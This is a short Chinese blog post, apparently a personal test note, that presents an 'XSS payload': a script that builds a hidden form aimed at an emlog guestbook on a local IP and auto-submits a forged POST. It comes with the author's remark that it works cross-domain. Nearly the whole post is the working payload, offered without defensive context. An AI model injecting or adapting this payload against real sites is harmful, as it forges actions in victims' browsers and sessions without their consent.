XSS Payload——用javascript模拟post提交表单

参考：http://zhchx0827.iteye.com/blog/1681349

下面是我测试的代码，贴出来记录一下：

<script>
document.write('<form name=myForm></form>');   
var myForm=document.forms['myForm'];   
myForm.action='http://192.168.0.100/emlog/?action=guestbook';   
myForm.method='POST';   

var input = document.createElement('input');
input.type = 'text';
input.name = 'name';
input.value = "游客";
myForm.appendChild(input);

var input=document.createElement('input');
input.type = 'text';
input.name = 'qq';
input.value = "46546456";
myForm.appendChild(input);

var textarea=document.createElement('textarea');
textarea.name='content';
textarea.value='testtest';
myForm.appendChild(textarea);

var input=document.createElement('input');
input.type = 'hidden';
input.name = 'action';
input.value = "addmessage";
myForm.appendChild(input);


myForm.submit(); 

</script>

 如果form有其他的元素可按照规律直接添加，这个脚本支持跨域的，真帅。